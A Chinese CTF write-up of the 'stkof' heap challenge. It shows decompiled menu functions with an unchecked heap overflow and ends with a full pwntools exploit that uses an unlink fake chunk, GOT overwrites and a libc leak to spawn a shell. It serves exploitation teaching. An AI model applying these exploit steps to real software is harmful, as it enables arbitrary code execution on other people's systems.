通过这个题目再来学习下unlink
逆向
main函数,一样是个菜单题,但是比较坑的是没给菜单,只能靠用户来逆向出其功能
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int index; // eax
signed int v5; // [rsp+Ch] [rbp-74h]
char nptr; // [rsp+10h] [rbp-70h]
unsigned __int64 v7; // [rsp+78h] [rbp-8h]
v7 = __readfsqword(0x28u);
alarm(0x78u);
while ( fgets(&nptr, 10, stdin) )
{
index = atoi(&nptr);
if ( index == 2 )
{
v5 = sub_4009E8();
goto LABEL_14;
}
if ( index > 2 )
{
if ( index == 3 )
{
v5 = sub_400B07();
goto LABEL_14;
}
if ( index == 4 )
{
v5 = sub_400BA9();
goto LABEL_14;
}
}
else if ( index == 1 )
{
v5 = sub_400936();
goto LABEL_14;
}
v5 = -1;
LABEL_14:
if ( v5 )
puts("FAIL");
else
puts("OK");
fflush(stdout);
}
return 0LL;
}
add堆块功能:
其中heaparray在0x602140处
signed __int64 sub_400936()
{
__int64 size; // [rsp+0h] [rbp-80h]
char *mem_ptr; // [rsp+8h] [rbp-78h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v4; // [rsp+78h] [rbp-8h]
v4 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
size = atoll(&s);
mem_ptr = (char *)malloc(size);
if ( !mem_ptr )
return 0xFFFFFFFFLL;
::s[++dword_602100] = mem_ptr;
printf("%d\n", (unsigned int)dword_602100, size);
return 0LL;
}
free:
no UAF
signed __int64 sub_400B07()
{
unsigned int v1; // [rsp+Ch] [rbp-74h]
char s; // [rsp+10h] [rbp-70h]
unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
v1 = atol(&s);
if ( v1 > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[v1] )
return 0xFFFFFFFFLL;
free(::s[v1]);
::s[v1] = 0LL;
return 0LL;
}
edit:可以任意修改堆块size,造成任意堆溢出
signed __int64 sub_4009E8()
{
signed __int64 result; // rax
int i; // eax
unsigned int index; // [rsp+8h] [rbp-88h]
__int64 size; // [rsp+10h] [rbp-80h]
char *ptr; // [rsp+18h] [rbp-78h]
char s; // [rsp+20h] [rbp-70h]
unsigned __int64 v6; // [rsp+88h] [rbp-8h]
v6 = __readfsqword(0x28u);
fgets(&s, 16, stdin);
index = atol(&s);
if ( index > 0x100000 )
return 0xFFFFFFFFLL;
if ( !::s[index] )
return 0xFFFFFFFFLL;
fgets(&s, 16, stdin);
size = atoll(&s);
ptr = ::s[index];
for ( i = fread(ptr, 1uLL, size, stdin); i > 0; i = fread(ptr, 1uLL, size, stdin) )
{
ptr += i;
size -= i;
}
if ( size )
result = 0xFFFFFFFFLL;
else
result = 0LL;
return result;
}
IO 缓冲区问题分析
值得注意的是,由于程序本身没有进行 setbuf 操作,所以在执行输入输出操作的时候会申请缓冲区。这里经过测试,会申请两个缓冲区,分别大小为 1024 和 1024。具体如下,可以进行调试查看
初次调用 fgets 时,malloc 会分配缓冲区 1024 大小。
别管我说的啥,调试就完了
exp
思路:利用unlink修改heaparray[0][1][2],看exp吧
from pwn import *
p = process('./stkof')
elf = ELF('./stkof')
libc = ELF('./libc.so.6')
def add(size):
p.sendline('1')
p.sendline(str(size))
def edit(index,size,content):
p.sendline('2')
p.sendline(str(index))
p.sendline(str(size))
p.send(content)
def delete(index):
p.sendline('3')
p.sendline(str(index))
add(0x10) #chunk1:对抗缓冲区
add(0x30) #chunk2
add(0x80) #chunk3
add(0x10) #chunk4
ptr = 0x602140
fd = ptr + 0x10 - 0x18
bk = ptr + 0x10 - 0x10
fake_chunk = p64(0)
fake_chunk += p64(0x31)
fake_chunk += p64(fd)
fake_chunk += p64(bk)
fake_chunk += p64(0) * 2
fake_chunk += p64(0x30)
fake_chunk += p64(0x90)
edit(2,len(fake_chunk),fake_chunk)
delete(3)
print("现在修改heaparray[0][1][2] 分别为free,puts和atoi")
payload = p64(0)
payload += p64(elf.got['free'])
payload += p64(elf.got['puts'])
payload += p64(elf.got['atoi'])
edit(2,len(payload),payload)
print("现在修改free的值为puts,然后free(1),就是puts(1),即输出puts的真实地址")
payload = p64(elf.plt['puts'])
edit(0,8,payload)
delete(1)
#context.log_level = 'debug'
puts_addr = u64(p.recvuntil("\x7f")[-6: ].ljust(8,b'\x00'))
print("puts addr ----> " + hex(puts_addr))
print("经过调试算出来相对差值为0x67860,不知道为什么最近libc老不准")
libc_base = puts_addr - 0x67860
print("libc ---> " + hex(libc_base))
system_addr = libc_base + 0x3f550
paylaod = p64(system_addr)
edit(2,8,paylaod)
p.sendline("sh")
p.interactive()